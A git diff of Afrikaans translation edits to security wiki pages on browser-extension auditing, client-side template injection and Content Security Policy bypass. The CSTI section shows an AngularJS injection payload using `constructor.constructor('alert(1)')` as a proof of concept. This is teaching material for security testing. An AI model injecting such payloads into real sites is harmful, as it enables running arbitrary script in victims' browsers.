- [ ] As enige **kommunikasie** plaasvind van die **uitbreiding** na die **webblad**, [**kyk vir XSS**](browext-xss-example.md) **kwesbaarhede** wat in die kommunikasie veroorsaak word.
-- [ ] As Post Boodskappe gebruik word, kyk vir [**Post Boodskap kwesbaarhede**](../postmessage-vulnerabilities/)**.**
+- [ ] As Post Messages gebruik word, kyk vir [**Post Message kwesbaarhede**](../postmessage-vulnerabilities/index.html)**.**
- [ ] As die **Inhoud Skrip toegang tot DOM besonderhede** het, kyk dat hulle **nie 'n XSS** inbring as hulle **gewysig** word deur die web nie.
- [ ] Maak 'n spesiale klem as hierdie kommunikasie ook betrokke is in die **Inhoud Skrip -> Agtergrondskrip kommunikasie**
-- [ ] As die agtergrondskrip kommunikeer via **natuurlike boodskappe**, kyk dat die kommunikasie veilig en gesaniteer is.
-- [ ] **Sensitiewe inligting moet nie** binne die Bladsy-uitbreiding **kode** gestoor word nie.
-- [ ] **Sensitiewe inligting moet nie** binne die Bladsy-uitbreiding **geheue** gestoor word nie.
+- [ ] As die agtergrondskrip kommunikeer via **native messaging**, kyk of die kommunikasie veilig en gesuiwer is.
+- [ ] **Sensitiewe inligting moet nie** binne die Blaaieruitbreiding **kode** gestoor word nie.
+- [ ] **Sensitiewe inligting moet nie** binne die Blaaieruitbreiding **geheue** gestoor word nie.
- [ ] **Sensitiewe inligting moet nie** binne die **lêerstelsel onbeskermd** gestoor word nie.
-## Bladsy-uitbreiding Risiko's
+## Blaaieruitbreiding Risiko's
-- Die app [https://crxaminer.tech/](https://crxaminer.tech/) analiseer sekere data soos die toestemmings wat die bladsy-uitbreiding versoek om 'n risikoniveau van die gebruik van die bladsy-uitbreiding te gee.
+- Die app [https://crxaminer.tech/](https://crxaminer.tech/) analiseer sekere data soos die toestemmings wat die blaaiersuitbreiding versoek om 'n risikoniveau van die gebruik van die blaaiersuitbreiding te gee.
## Gereedskap
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Trek enige Chrome-uitbreiding van 'n verskafde Chrome-webwinkel skakel.
-- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **kyker**: vertoon eenvoudig 'n JSON-pragtige weergawe van die uitbreiding se manifest.
+- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **kyker**: vertoon eenvoudig 'n JSON-verfraaide weergawe van die uitbreiding se manifest.
- **Vingerafdrukanalise**: Ontdekking van [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) en outomatiese generering van Chrome-uitbreiding vingerafdruk JavaScript.
-- **Potensiële Clickjacking Analise**: Ontdekking van uitbreiding HTML-bladsye met die [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) riglyn ingestel. Hierdie is potensieel kwesbaar vir clickjacking, afhangende van die doel van die bladsye.
+- **Potensiële Clickjacking Analise**: Ontdekking van uitbreiding HTML-bladsye met die [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) riglyn ingestel. Hierdie is potensieel kwesbaar vir clickjacking afhangende van die doel van die bladsye.
- **Toestemming Waarskuwing(s) kyker**: wat 'n lys van al die Chrome toestemming prompt waarskuwings vertoon wat vertoon sal word wanneer 'n gebruiker probeer om die uitbreiding te installeer.
- **Gevaarlike Funksie(s)**: wys die ligging van gevaarlike funksies wat potensieel deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript).
-- **Ingangspunt(e)**: wys waar die uitbreiding gebruikers/externe insette ontvang. Dit is nuttig om 'n uitbreiding se oppervlakarea te verstaan en te soek na potensiële punte om kwaadwillig saamgestelde data na die uitbreiding te stuur.
-- Beide die Gevaarlike Funksie(s) en Ingangspunt(e) skandeerders het die volgende vir hul gegenereerde waarskuwings:
+- **Toegangspunt(e)**: wys waar die uitbreiding gebruikers/externe insette ontvang. Dit is nuttig om 'n uitbreiding se oppervlakarea te verstaan en te soek na potensiële punte om kwaadwillig saamgestelde data na die uitbreiding te stuur.
+- Beide die Gevaarlike Funksie(s) en Toegangspunt(e) skandeerders het die volgende vir hul gegenereerde waarskuwings:
- Betrokke kode-snippet en lyn wat die waarskuwing veroorsaak het.
- Beskrywing van die probleem.
-- 'n "Sien Lêer" knoppie om die volle bronlêer wat die kode bevat, te sien.
+- 'n "Sien Lêer" knoppie om die volle bronlêer wat die kode bevat te sien.
- Die pad van die gewaarskuwe lêer.
- Die volle Chrome-uitbreiding URI van die gewaarskuwe lêer.
-- Die tipe lêer, soos 'n Agtergrondbladskrip, Inhoud Skrip, Bladsy Aksie, ens.
+- Die tipe lêer, soos 'n Agtergrondbladskrip, Inhoud Skrip, Blaaier Aksie, ens.
- As die kwesbare lyn in 'n JavaScript-lêer is, die pades van al die bladsye waar dit ingesluit is sowel as hierdie bladsye se tipe, en [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
-- **Inhoud Sekuriteitsbeleid (CSP) analise en omseiling kontroleerder**: Dit sal swakhede in jou uitbreiding se CSP uitwys en sal ook enige potensiële maniere om jou CSP te omseil as gevolg van gewhitelist CDNs, ens. belig.
+- **Inhoud Sekuriteitsbeleid (CSP) analise en omseilingskontrole**: Dit sal swakhede in jou uitbreiding se CSP uitwys en sal ook enige potensiële maniere om jou CSP te omseil as gevolg van gewhitelist CDNs, ens. uitlig.
- **Bekende Kwesbare Biblioteke**: Dit gebruik [Retire.js](https://retirejs.github.io/retire.js/) om te kyk vir enige gebruik van bekende kwesbare JavaScript-biblioteke.
- Laai uitbreiding en geformatteerde weergawes af.
- Laai die oorspronklike uitbreiding af.
-- Laai 'n verfraaide weergawe van die uitbreiding af (outomaties pragtige HTML en JavaScript).
+- Laai 'n verfraaide weergawe van die uitbreiding af (outomaties verfraaide HTML en JavaScript).
- Outomatiese kas van skandeerresultate, die uitvoering van 'n uitbreiding skandering sal 'n goeie hoeveelheid tyd neem die eerste keer wat jy dit uitvoer. Maar die tweede keer, mits die uitbreiding nie opgedateer is nie, sal dit amper onmiddellik wees as gevolg van die resultate wat in die kas gestoor is.
-- Skakelbare Verslag URL's, maklik om iemand anders na 'n uitbreiding verslag wat deur tarnish gegenereer is, te skakel.
+- Skakelbare Verslag URL's, maklik om iemand anders na 'n uitbreiding verslag wat deur tarnish gegenereer is te skakel.
### [Neto](https://github.com/elevenpaths/neto)
-Project Neto is 'n Python 3 pakket wat ontwerp is om versteekte funksies van bladsye-inproppe en uitbreidings vir bekende blaaiers soos Firefox en Chrome te analiseer en te ontrafel. Dit outomatiseer die proses van die uitpak van die verpakte lêers om hierdie funksies uit relevante hulpbronne in 'n uitbreiding soos `manifest.json`, lokaliseringsmappes of Javascript en HTML bronlêers te onttrek.
+Project Neto is 'n Python 3 pakket wat ontwerp is om versteekte funksies van blaaiersplugins en -uitbreidings vir bekende blaaiers soos Firefox en Chrome te analiseer en te ontrafel. Dit outomatiseer die proses van die uitpak van die verpakte lêers om hierdie funksies uit relevante hulpbronne in 'n uitbreiding soos `manifest.json`, lokaliseringsmappes of Javascript en HTML bronlêers te onttrek.
## Verwysings
diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md
index a532c7aff..1c23d7ec7 100644
--- a/src/pentesting-web/client-side-template-injection-csti.md
+++ b/src/pentesting-web/client-side-template-injection-csti.md
@@ -1,16 +1,16 @@
-# Kliëntkant Sjabloon Inspuiting (CSTI)
+# Klientkant Sjabloon Inspuiting (CSTI)
{{#include ../banners/hacktricks-training.md}}
## Samevatting
-Dit is soos 'n [**Bediener Kant Sjabloon Inspuiting**](ssti-server-side-template-injection/) maar in die **kliënt**. Die **SSTI** kan jou toelaat om **kode** op die afstandbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.
+Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) maar in die **klient**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.
**Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die interpreter verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n payload soos `{{ 7-7 }}`, as die app **kwesbaar** is, sal jy 'n `0` sien, en as nie, sal jy die oorspronklike sien: `{{ 7-7 }}`
## AngularJS
-AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as riglyne, 'n noemenswaardige een is **`ng-app`**. Hierdie riglyn laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.
+AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is **`ng-app`**. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.
In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word wat met `ng-app` gemerk is, is dit moontlik om arbitraire JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:
```javascript
@@ -23,7 +23,7 @@ In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word w
```
U kan 'n baie **basiese aanlynvoorbeeld** van die kwesbaarheid in **AngularJS** vind in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) en in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
-> [!CAUTION] > [**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe behoort 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `` te werk.
+> [!CAUTION] > [**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe moet 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `` werk.
## VueJS
@@ -49,7 +49,7 @@ Krediet: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/rese
```
Krediet: [Mario Heiderich](https://twitter.com/cure53berlin)
-**Kyk meer VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
+**Kyk na meer VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
## Mavo
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 11fca2ead..1aa68974f 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -1,10 +1,10 @@
-# Inhoudsekuriteitsbeleid (CSP) Omseiling
+# Content Security Policy (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}}
## Wat is CSP
-Inhoudsekuriteitsbeleid (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur pad en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid kan die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
+Content Security Policy (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik om **te beskerm teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur pad en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings.
@@ -37,23 +37,23 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
-### Richtlijnen
+### Direktiewe
-- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenis hanteerders of XSLT-stylesheets geaktiveer word.
-- **default-src**: Stel 'n standaard beleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsriglyne afwesig is.
+- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenishandlers of XSLT-stylesheets geaktiveer word.
+- **default-src**: Stel 'n standaardbeleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsdirektiewe afwesig is.
- **child-src**: Spesifiseer toegelate hulpbronne vir webwerkers en ingebedde raaminhoud.
- **connect-src**: Beperk URL's wat gelaai kan word met behulp van interfaces soos fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Beperk URL's vir rame.
- **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan inkorporeer, van toepassing op elemente soos ``, `